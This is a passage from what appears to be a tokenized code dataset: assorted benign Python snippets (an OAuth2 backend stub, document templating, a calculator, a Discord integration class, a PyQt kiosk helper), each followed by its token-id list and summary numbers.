198, 4871, 9097, 7, 15252, 2599, 198, 220, 220, 220, 37227, 4096, 2378, 1398, 13, 198, 220, 220, 220, 37227, 198, 198, 4871, 3596, 7575, 7, 15252, 2599, 198, 220, 220, 220, 37227, 4096, 1110, 290, 640, 1398, 13, 198, 220, 220, 220, 37227, 628 ]
2.640741
270
from django.contrib.auth import get_user_model from .oauth2_backends import get_oauthlib_core UserModel = get_user_model() OAuthLibCore = get_oauthlib_core() class OAuth2Backend: """ Authenticate against an OAuth2 access token """
[ 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 1330, 651, 62, 7220, 62, 19849, 198, 198, 6738, 764, 12162, 1071, 17, 62, 1891, 2412, 1330, 651, 62, 12162, 1071, 8019, 62, 7295, 628, 198, 12982, 17633, 796, 651, 62, 7220, 62, 19849, 3419, 198, 23621, 1071, 25835, 14055, 796, 651, 62, 12162, 1071, 8019, 62, 7295, 3419, 628, 198, 4871, 440, 30515, 17, 7282, 437, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 31885, 5344, 1028, 281, 440, 30515, 17, 1895, 11241, 198, 220, 220, 220, 37227, 198 ]
2.755556
90
from py3o.template import Template t = Template( "py3o_example_template_single_cell.odt", "py3o_example_output_single_cell.odt" ) t.set_image_path('staticimage.logo', 'images/new_logo.png') items = list() item1 = Item() item1.val1 = 'Item1 Value1' item1.val2 = 'Item1 Value2' item1.val3 = 'Item1 Value3' item1.Currency = 'EUR' item1.Amount = '12,345.35' item1.InvoiceRef = '#1234' items.append(item1) for i in xrange(1000): item = Item() item.val1 = 'Item%s Value1' % i item.val2 = 'Item%s Value2' % i item.val3 = 'Item%s Value3' % i item.Currency = 'EUR' item.Amount = '6,666.77' item.InvoiceRef = 'Reference #%04d' % i items.append(item) document = Item() document.total = '9,999,999,999,999.999' data = dict(items=items, document=document) t.render(data)
[ 6738, 12972, 18, 78, 13, 28243, 1330, 37350, 201, 198, 201, 198, 83, 796, 37350, 7, 201, 198, 220, 220, 220, 366, 9078, 18, 78, 62, 20688, 62, 28243, 62, 29762, 62, 3846, 13, 375, 83, 1600, 201, 198, 220, 220, 220, 366, 9078, 18, 78, 62, 20688, 62, 22915, 62, 29762, 62, 3846, 13, 375, 83, 1, 201, 198, 8, 201, 198, 201, 198, 83, 13, 2617, 62, 9060, 62, 6978, 10786, 12708, 9060, 13, 6404, 78, 3256, 705, 17566, 14, 3605, 62, 6404, 78, 13, 11134, 11537, 201, 198, 201, 198, 201, 198, 23814, 796, 1351, 3419, 201, 198, 201, 198, 9186, 16, 796, 9097, 3419, 201, 198, 9186, 16, 13, 2100, 16, 796, 705, 7449, 16, 11052, 16, 6, 201, 198, 9186, 16, 13, 2100, 17, 796, 705, 7449, 16, 11052, 17, 6, 201, 198, 9186, 16, 13, 2100, 18, 796, 705, 7449, 16, 11052, 18, 6, 201, 198, 9186, 16, 13, 34, 13382, 796, 705, 36, 4261, 6, 201, 198, 9186, 16, 13, 31264, 796, 705, 1065, 11, 27712, 13, 2327, 6, 201, 198, 9186, 16, 13, 19904, 2942, 8134, 796, 705, 2, 1065, 2682, 6, 201, 198, 23814, 13, 33295, 7, 9186, 16, 8, 201, 198, 201, 198, 1640, 1312, 287, 2124, 9521, 7, 12825, 2599, 201, 198, 220, 220, 220, 2378, 796, 9097, 3419, 201, 198, 220, 220, 220, 2378, 13, 2100, 16, 796, 705, 7449, 4, 82, 11052, 16, 6, 4064, 1312, 201, 198, 220, 220, 220, 2378, 13, 2100, 17, 796, 705, 7449, 4, 82, 11052, 17, 6, 4064, 1312, 201, 198, 220, 220, 220, 2378, 13, 2100, 18, 796, 705, 7449, 4, 82, 11052, 18, 6, 4064, 1312, 201, 198, 220, 220, 220, 2378, 13, 34, 13382, 796, 705, 36, 4261, 6, 201, 198, 220, 220, 220, 2378, 13, 31264, 796, 705, 21, 11, 27310, 13, 3324, 6, 201, 198, 220, 220, 220, 2378, 13, 19904, 2942, 8134, 796, 705, 26687, 1303, 4, 3023, 67, 6, 4064, 1312, 201, 198, 220, 220, 220, 3709, 13, 33295, 7, 9186, 8, 201, 198, 201, 198, 22897, 796, 9097, 3419, 201, 198, 22897, 13, 23350, 796, 705, 24, 11, 17032, 11, 17032, 11, 17032, 11, 17032, 13, 17032, 6, 201, 198, 201, 198, 7890, 796, 8633, 7, 23814, 28, 23814, 11, 3188, 28, 22897, 8, 201, 198, 83, 13, 13287, 7, 7890, 8, 201, 198 ]
2.153453
391
num1 = float(input("Number 1: ")) num2 = float(input("Wumber 2: ")) operation = input("Which operation (+,-,/,*): ") if operation == "+": print(f"The sum is {num1 + num2}") if operation == "-": print(f"The difference is {num1 - num2}") if operation == "/": if num2 != 0: print(f"The quotient is {num1 / num2}") else: print("Cannot divide any number by zero!") if operation == "*": print(f"The product is {num1 * num2}")
[ 22510, 16, 796, 12178, 7, 15414, 7203, 15057, 352, 25, 366, 4008, 201, 198, 22510, 17, 796, 12178, 7, 15414, 7203, 54, 4494, 362, 25, 366, 4008, 201, 198, 27184, 796, 5128, 7203, 13828, 4905, 11502, 12095, 11, 47454, 9, 2599, 366, 8, 201, 198, 201, 198, 361, 4905, 6624, 43825, 1298, 201, 198, 220, 3601, 7, 69, 1, 464, 2160, 318, 1391, 22510, 16, 1343, 997, 17, 92, 4943, 201, 198, 220, 220, 201, 198, 361, 4905, 6624, 27444, 1298, 201, 198, 220, 3601, 7, 69, 1, 464, 3580, 318, 1391, 22510, 16, 532, 997, 17, 92, 4943, 201, 198, 220, 220, 201, 198, 361, 4905, 6624, 12813, 1298, 201, 198, 220, 611, 997, 17, 14512, 657, 25, 201, 198, 220, 220, 220, 3601, 7, 69, 1, 464, 23611, 1153, 318, 1391, 22510, 16, 1220, 997, 17, 92, 4943, 201, 198, 220, 2073, 25, 201, 198, 220, 220, 220, 3601, 7203, 34, 34574, 14083, 597, 1271, 416, 6632, 2474, 8, 201, 198, 220, 220, 220, 220, 201, 198, 361, 4905, 6624, 366, 9, 1298, 201, 198, 220, 3601, 7, 69, 1, 464, 1720, 318, 1391, 22510, 16, 1635, 997, 17, 92, 4943, 201, 198 ]
2.4
195
__all__ = ('IntegrationDetail', ) from ..core import ROLES from ..utils import timestamp_to_datetime, DISCORD_EPOCH_START from ..role import create_partial_role_from_id from .preinstanced import IntegrationExpireBehavior class IntegrationDetail: """ Details about a non discord integration. Attributes ---------- expire_behavior : ``IntegrationExpireBehavior`` The behavior of expiring subscription. expire_grace_period : `int` The grace period in days for expiring subscribers. Can be `1`, `3`, `7`, `14` or `30`. If the integration is partial, or is not applicable for it, then is set as `-1`. role_id : `int` The role's identifier what the integration uses for subscribers. subscriber_count : `int` How many subscribers the integration has. Defaults to `0`. synced_at : `datetime` When the integration was last synced. syncing : `bool` Whether the integration syncing. """ __slots__ = ('expire_behavior', 'expire_grace_period', 'role_id', 'subscriber_count', 'synced_at', 'syncing', ) def __init__(self, data): """ Fills up the integration detail from the respective integration's data. Parameters ---------- data : `dict` of (`str`, `Any`) items Received integration data. """ self.syncing = data.get('syncing', False) role_id = data.get('role_id', None) if role_id is None: role_id = 0 else: role_id = int(role_id) self.role_id = role_id self.expire_behavior = IntegrationExpireBehavior.get(data.get('expire_behavior', 0)) self.expire_grace_period = data.get('expire_grace_period', -1) try: synced_at = data['synced_at'] except KeyError: synced_at = DISCORD_EPOCH_START else: synced_at = timestamp_to_datetime(synced_at) self.synced_at = synced_at self.subscriber_count = data.get('subscriber_count', 0) @property def role(self): """ Returns the integration's role. Returns ------- role : `None` or ``Role`` """ role_id = self.role_id if role_id: return create_partial_role_from_id(role_id) @classmethod def from_role(cls, role): """ Creates a partial integration detail with the given role. Parameters ---------- role : ``Role`` The respective role. Returns ------- self : ``IntegrationDetail`` The created integration detail. """ self = object.__new__(cls) self.syncing = False self.role_id = role.id self.expire_behavior = IntegrationExpireBehavior.remove_role self.expire_grace_period = -1 self.synced_at = DISCORD_EPOCH_START self.subscriber_count = 0 return self def __repr__(self): """Returns the integration detail's representation.""" repr_parts = [ '<', self.__class__.__name__, ] role_id = self.role_id if role_id: try: role = ROLES[role_id] except KeyError: pass else: repr_parts.append(' role=') repr_parts.append(repr(role)) repr_parts.append('>') return ''.join(repr_parts)
[ 834, 439, 834, 796, 19203, 34500, 1358, 11242, 603, 3256, 1267, 198, 198, 6738, 11485, 7295, 1330, 371, 3535, 1546, 198, 6738, 11485, 26791, 1330, 41033, 62, 1462, 62, 19608, 8079, 11, 13954, 34, 12532, 62, 8905, 46, 3398, 62, 2257, 7227, 198, 6738, 11485, 18090, 1330, 2251, 62, 47172, 62, 18090, 62, 6738, 62, 312, 198, 198, 6738, 764, 3866, 8625, 2903, 1330, 38410, 3109, 5111, 25267, 15759, 198, 198, 4871, 38410, 11242, 603, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 14890, 546, 257, 1729, 36446, 11812, 13, 198, 220, 220, 220, 220, 198, 220, 220, 220, 49213, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 24264, 62, 46571, 1058, 7559, 34500, 1358, 3109, 5111, 25267, 15759, 15506, 198, 220, 220, 220, 220, 220, 220, 220, 383, 4069, 286, 1033, 3428, 14569, 13, 198, 220, 220, 220, 24264, 62, 2164, 558, 62, 41007, 1058, 4600, 600, 63, 198, 220, 220, 220, 220, 220, 220, 220, 383, 11542, 2278, 287, 1528, 329, 1033, 3428, 18327, 13, 1680, 307, 4600, 16, 47671, 4600, 18, 47671, 4600, 22, 47671, 4600, 1415, 63, 393, 4600, 1270, 44646, 1002, 262, 11812, 318, 198, 220, 220, 220, 220, 220, 220, 220, 13027, 11, 393, 318, 407, 9723, 329, 340, 11, 788, 318, 900, 355, 4600, 12, 16, 44646, 198, 220, 220, 220, 2597, 62, 312, 1058, 4600, 600, 63, 198, 220, 220, 220, 220, 220, 220, 220, 383, 2597, 338, 27421, 644, 262, 11812, 3544, 329, 18327, 13, 198, 220, 220, 220, 32944, 62, 9127, 1058, 4600, 600, 63, 198, 220, 220, 220, 220, 220, 220, 220, 1374, 867, 18327, 262, 11812, 468, 13, 2896, 13185, 284, 4600, 15, 44646, 198, 220, 220, 220, 6171, 771, 62, 265, 1058, 4600, 19608, 8079, 63, 198, 220, 220, 220, 220, 220, 220, 220, 1649, 262, 11812, 373, 938, 6171, 771, 13, 198, 220, 220, 220, 6171, 2259, 1058, 4600, 30388, 63, 198, 220, 220, 220, 220, 220, 220, 220, 10127, 262, 11812, 6171, 2259, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 11593, 6649, 1747, 834, 796, 19203, 1069, 5111, 62, 46571, 3256, 705, 1069, 5111, 62, 2164, 558, 62, 41007, 3256, 705, 18090, 62, 312, 3256, 705, 7266, 1416, 24735, 62, 9127, 3256, 705, 28869, 771, 62, 265, 3256, 705, 28869, 2259, 3256, 1267, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 1366, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 376, 2171, 510, 262, 11812, 3703, 422, 262, 11756, 11812, 338, 1366, 13, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 40117, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 1366, 1058, 4600, 11600, 63, 286, 357, 63, 2536, 47671, 4600, 7149, 63, 8, 3709, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20557, 11812, 1366, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 28869, 2259, 796, 1366, 13, 1136, 10786, 28869, 2259, 3256, 10352, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 2597, 62, 312, 796, 1366, 13, 1136, 10786, 18090, 62, 312, 3256, 6045, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2597, 62, 312, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2597, 62, 312, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2597, 62, 312, 796, 493, 7, 18090, 62, 312, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 18090, 62, 312, 796, 2597, 62, 312, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1069, 5111, 62, 46571, 796, 38410, 3109, 5111, 25267, 15759, 13, 1136, 7, 7890, 13, 1136, 10786, 1069, 5111, 62, 46571, 3256, 657, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1069, 5111, 62, 2164, 558, 62, 41007, 796, 1366, 13, 1136, 10786, 1069, 5111, 62, 2164, 558, 62, 41007, 3256, 532, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6171, 771, 62, 265, 796, 1366, 17816, 28869, 771, 62, 265, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 7383, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6171, 771, 62, 265, 796, 13954, 34, 12532, 62, 8905, 46, 3398, 62, 2257, 7227, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6171, 771, 62, 265, 796, 41033, 62, 1462, 62, 19608, 8079, 7, 28869, 771, 62, 265, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 28869, 771, 62, 265, 796, 6171, 771, 62, 265, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7266, 1416, 24735, 62, 9127, 796, 1366, 13, 1136, 10786, 7266, 1416, 24735, 62, 9127, 3256, 657, 8, 198, 220, 220, 220, 220, 198, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 2597, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 262, 11812, 338, 2597, 13, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 198, 220, 220, 220, 220, 220, 220, 220, 35656, 198, 220, 220, 220, 220, 220, 220, 220, 2597, 1058, 4600, 14202, 63, 393, 7559, 47445, 15506, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2597, 62, 312, 796, 2116, 13, 18090, 62, 312, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2597, 62, 312, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 2251, 62, 47172, 62, 18090, 62, 6738, 62, 312, 7, 18090, 62, 312, 8, 198, 220, 220, 220, 220, 198, 220, 220, 220, 220, 198, 220, 220, 220, 2488, 4871, 24396, 198, 220, 220, 220, 825, 422, 62, 18090, 7, 565, 82, 11, 2597, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 7921, 274, 257, 13027, 11812, 3703, 351, 262, 1813, 2597, 13, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 40117, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 2597, 1058, 7559, 47445, 15506, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 383, 11756, 2597, 13, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 198, 220, 220, 220, 220, 220, 220, 220, 35656, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 1058, 7559, 34500, 1358, 11242, 603, 15506, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 383, 2727, 11812, 3703, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 796, 2134, 13, 834, 3605, 834, 7, 565, 82, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 28869, 2259, 796, 10352, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 18090, 62, 312, 796, 2597, 13, 312, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1069, 5111, 62, 46571, 796, 38410, 3109, 5111, 25267, 15759, 13, 28956, 62, 18090, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1069, 5111, 62, 2164, 558, 62, 41007, 796, 532, 16, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 28869, 771, 62, 265, 796, 13954, 34, 12532, 62, 8905, 46, 3398, 62, 2257, 7227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7266, 1416, 24735, 62, 9127, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 11593, 260, 1050, 834, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 35561, 262, 11812, 3703, 338, 10552, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 41575, 62, 42632, 796, 685, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 27, 3256, 2116, 13, 834, 4871, 834, 13, 834, 3672, 834, 11, 198, 220, 220, 220, 220, 220, 220, 220, 2361, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 2597, 62, 312, 796, 2116, 13, 18090, 62, 312, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2597, 62, 312, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2597, 796, 371, 3535, 1546, 58, 18090, 62, 312, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 7383, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1208, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41575, 62, 42632, 13, 33295, 10786, 2597, 28, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41575, 62, 42632, 13, 33295, 7, 260, 1050, 7, 18090, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 41575, 62, 42632, 13, 33295, 10786, 29, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 705, 4458, 22179, 7, 260, 1050, 62, 42632, 8, 198 ]
2.112293
1,692
from controller import Controller import torch import cProfile import pstats OPTIMIZE = False # True to generate performance reports if OPTIMIZE: cProfile.run('main()', "output.dat") with open("output_time.txt","w") as f: p = pstats.Stats("output. dat", stream=f) p.sort_stats("time").print_stats() with open("output_calls.txt","w") as f: p = pstats.Stats("output.dat", stream=f) p.sort_stats("calls").print_stats() else: main()
[ 6738, 10444, 1330, 22741, 198, 11748, 28034, 198, 11748, 269, 37046, 198, 11748, 279, 34242, 198, 198, 3185, 51, 3955, 35400, 796, 10352, 1303, 6407, 284, 7716, 2854, 3136, 198, 198, 361, 39852, 3955, 35400, 25, 198, 220, 220, 220, 269, 37046, 13, 5143, 10786, 12417, 3419, 3256, 366, 22915, 13, 19608, 4943, 220, 220, 220, 220, 198, 220, 220, 220, 351, 1280, 7203, 22915, 62, 2435, 13, 14116, 2430, 86, 4943, 355, 277, 25, 198, 220, 220, 220, 220, 220, 220, 220, 279, 796, 279, 34242, 13, 29668, 7203, 22915, 13, 220, 220, 4818, 1600, 4269, 28, 69, 8, 198, 220, 220, 220, 220, 220, 220, 220, 279, 13, 30619, 62, 34242, 7203, 2435, 11074, 4798, 62, 34242, 3419, 628, 220, 220, 220, 351, 1280, 7203, 22915, 62, 66, 5691, 13, 14116, 2430, 86, 4943, 355, 277, 25, 198, 220, 220, 220, 220, 220, 220, 220, 279, 796, 279, 34242, 13, 29668, 7203, 22915, 13, 19608, 1600, 4269, 28, 69, 8, 198, 220, 220, 220, 220, 220, 220, 220, 279, 13, 30619, 62, 34242, 7203, 66, 5691, 11074, 4798, 62, 34242, 3419, 198, 17772, 25, 198, 220, 220, 220, 1388, 3419 ]
2.526042
192
from nodeClasses.node import node
[ 6738, 220, 10139, 9487, 274, 13, 17440, 1330, 10139, 220, 198 ]
3.272727
11
import logging from bda_core.use_cases.log.log_info import log_info
[ 11748, 18931, 198, 6738, 275, 6814, 62, 7295, 13, 1904, 62, 33964, 13, 6404, 13, 6404, 62, 10951, 1330, 2604, 62, 10951, 628 ]
3
23
import re import urllib import logging from PyQt5.QtCore import QTimer from PyQt5.QtWidgets import QShortcut from PyQt5.QtWebEngineWidgets import QWebEngineView, QWebEngineSettings from PyQt5.QtWidgets import QSizePolicy from kiosk_browser import system def user_agent_with_system(user_agent, system_name, system_version): """Inject a specific system into a user agent string""" pattern = re.compile('(Mozilla/5.0) \(([^\)]*)\)(.*)') m = pattern.match(user_agent) if m == None: return f"{system_name}/{system_version} {user_agent}" else: if not m.group(2): system_detail = f"{system_name} {system_version}" else: system_detail = f"{m.group(2)}; {system_name} {system_version}" return f"{m.group(1)} ({system_detail}){m.group(3)}"
[ 11748, 302, 198, 11748, 2956, 297, 571, 198, 11748, 18931, 198, 6738, 9485, 48, 83, 20, 13, 48, 83, 14055, 1330, 1195, 48801, 198, 6738, 9485, 48, 83, 20, 13, 48, 83, 54, 312, 11407, 1330, 1195, 16438, 8968, 198, 6738, 9485, 48, 83, 20, 13, 48, 83, 13908, 13798, 54, 312, 11407, 1330, 1195, 13908, 13798, 7680, 11, 1195, 13908, 13798, 26232, 198, 6738, 9485, 48, 83, 20, 13, 48, 83, 54, 312, 11407, 1330, 1195, 10699, 36727, 198, 198, 6738, 46739, 74, 62, 40259, 1330, 1080, 198, 198, 4299, 2836, 62, 25781, 62, 4480, 62, 10057, 7, 7220, 62, 25781, 11, 1080, 62, 3672, 11, 1080, 62, 9641, 2599, 198, 220, 220, 220, 37227, 818, 752, 257, 2176, 1080, 656, 257, 2836, 5797, 4731, 37811, 198, 220, 220, 220, 3912, 796, 302, 13, 5589, 576, 10786, 7, 44, 8590, 5049, 14, 20, 13, 15, 8, 16792, 26933, 61, 59, 15437, 9, 19415, 5769, 15885, 8, 11537, 198, 220, 220, 220, 285, 796, 3912, 13, 15699, 7, 7220, 62, 25781, 8, 628, 220, 220, 220, 611, 285, 6624, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 1, 90, 10057, 62, 3672, 92, 14, 90, 10057, 62, 9641, 92, 1391, 7220, 62, 25781, 36786, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 285, 13, 8094, 7, 17, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1080, 62, 49170, 796, 277, 1, 90, 10057, 62, 3672, 92, 1391, 10057, 62, 9641, 36786, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1080, 62, 49170, 796, 277, 1, 90, 76, 13, 8094, 7, 17, 8, 19629, 1391, 10057, 62, 3672, 92, 1391, 10057, 62, 9641, 36786, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 1, 90, 76, 13, 8094, 7, 16, 38165, 37913, 10057, 62, 49170, 92, 19953, 76, 13, 8094, 7, 18, 8, 36786, 198 ]
2.410714
336
#wordCloudGenerator.py import wordcloud from matplotlib import pyplot as plot import tkinter from tkinter.filedialog import askopenfile #Reads the selected file and then draws the wordcloud #Removes punctuation from words #Calculates how many times each word appears in the text file if __name__ == "__main__": main()
[ 2, 4775, 18839, 8645, 1352, 13, 9078, 198, 198, 11748, 1573, 17721, 198, 6738, 2603, 29487, 8019, 1330, 12972, 29487, 355, 7110, 198, 11748, 256, 74, 3849, 198, 6738, 256, 74, 3849, 13, 69, 3902, 498, 519, 1330, 1265, 9654, 7753, 198, 198, 2, 5569, 82, 262, 6163, 2393, 290, 788, 14293, 262, 1573, 17721, 198, 220, 220, 220, 220, 198, 2, 8413, 5241, 21025, 2288, 422, 2456, 198, 198, 2, 9771, 3129, 689, 703, 867, 1661, 1123, 1573, 3568, 287, 262, 2420, 2393, 198, 220, 220, 220, 220, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1388, 3419 ]
3.150943
106
#! /usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright(c) 2018 Senscape Corporation. # License: Apache 2.0 # Import libs import cv2, sys, numpy as np sys.path.append('../../../') import hsapi as hs device = hs.GetDevice() device.OpenDevice() try: while(1): image = device.GetImage(False) cv2.imshow('image',image) cv2.waitKey(1) finally: device.CloseDevice()
[ 2, 0, 1220, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 2, 15069, 7, 66, 8, 2864, 14173, 36435, 10501, 13, 198, 2, 13789, 25, 24843, 362, 13, 15, 198, 198, 2, 17267, 9195, 82, 198, 11748, 269, 85, 17, 11, 25064, 11, 299, 32152, 355, 45941, 198, 17597, 13, 6978, 13, 33295, 10786, 40720, 40720, 40720, 11537, 198, 11748, 289, 82, 15042, 355, 289, 82, 198, 198, 25202, 796, 289, 82, 13, 3855, 24728, 3419, 198, 25202, 13, 11505, 24728, 3419, 198, 198, 28311, 25, 198, 220, 220, 220, 981, 7, 16, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 2939, 796, 3335, 13, 3855, 5159, 7, 25101, 8, 198, 220, 220, 220, 220, 220, 220, 220, 269, 85, 17, 13, 320, 12860, 10786, 9060, 3256, 9060, 8, 198, 220, 220, 220, 220, 220, 220, 220, 269, 85, 17, 13, 17077, 9218, 7, 16, 8, 198, 69, 3289, 25, 198, 220, 220, 220, 3335, 13, 26125, 24728, 3419, 198 ]
2.272727
176
#!/usr/bin/env python3 #Copyright (C) 2009-2011 by Benedict Paten ([email protected]) # #Released under the MIT license, see LICENSE.txt import unittest import sys from sonLib.bioio import TestStatus from cactus.shared.test import getCactusInputs_random from cactus.shared.test import getCactusInputs_blanchette from cactus.shared.test import runWorkflow_multipleExamples if __name__ == '__main__': unittest.main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 2, 15269, 357, 34, 8, 3717, 12, 9804, 416, 28697, 3208, 268, 357, 65, 2945, 713, 8071, 268, 31, 14816, 13, 785, 8, 198, 2, 198, 2, 45037, 739, 262, 17168, 5964, 11, 766, 38559, 24290, 13, 14116, 198, 11748, 555, 715, 395, 198, 11748, 25064, 198, 198, 6738, 3367, 25835, 13, 65, 952, 952, 1330, 6208, 19580, 198, 198, 6738, 269, 34144, 13, 28710, 13, 9288, 1330, 651, 34, 34144, 20560, 82, 62, 25120, 198, 6738, 269, 34144, 13, 28710, 13, 9288, 1330, 651, 34, 34144, 20560, 82, 62, 2436, 1192, 3202, 660, 198, 6738, 269, 34144, 13, 28710, 13, 9288, 1330, 1057, 12468, 11125, 62, 48101, 27730, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 555, 715, 395, 13, 12417, 3419, 198 ]
3
143
import pyVmomi from osbot_utils.utils.Misc import wait from k8_vmware.vsphere.VM_Keystroke import VM_Keystroke
[ 11748, 12972, 53, 76, 12753, 198, 6738, 28686, 13645, 62, 26791, 13, 26791, 13, 44, 2304, 1330, 4043, 198, 198, 6738, 479, 23, 62, 14761, 1574, 13, 85, 2777, 1456, 13, 15996, 62, 9218, 30757, 1330, 16990, 62, 9218, 30757, 628, 628 ]
2.738095
42
lista = ['oi', 'bem', 'meu'] a, b = lista.index('bem'), lista.index('meu') lista[b], lista[a] = lista[a], lista[b] print(lista)
[ 4868, 64, 796, 37250, 23013, 3256, 705, 65, 368, 3256, 705, 1326, 84, 20520, 198, 64, 11, 275, 796, 1351, 64, 13, 9630, 10786, 65, 368, 33809, 1351, 64, 13, 9630, 10786, 1326, 84, 11537, 198, 4868, 64, 58, 65, 4357, 1351, 64, 58, 64, 60, 796, 1351, 64, 58, 64, 4357, 1351, 64, 58, 65, 60, 198, 4798, 7, 4868, 64, 8 ]
2.015873
63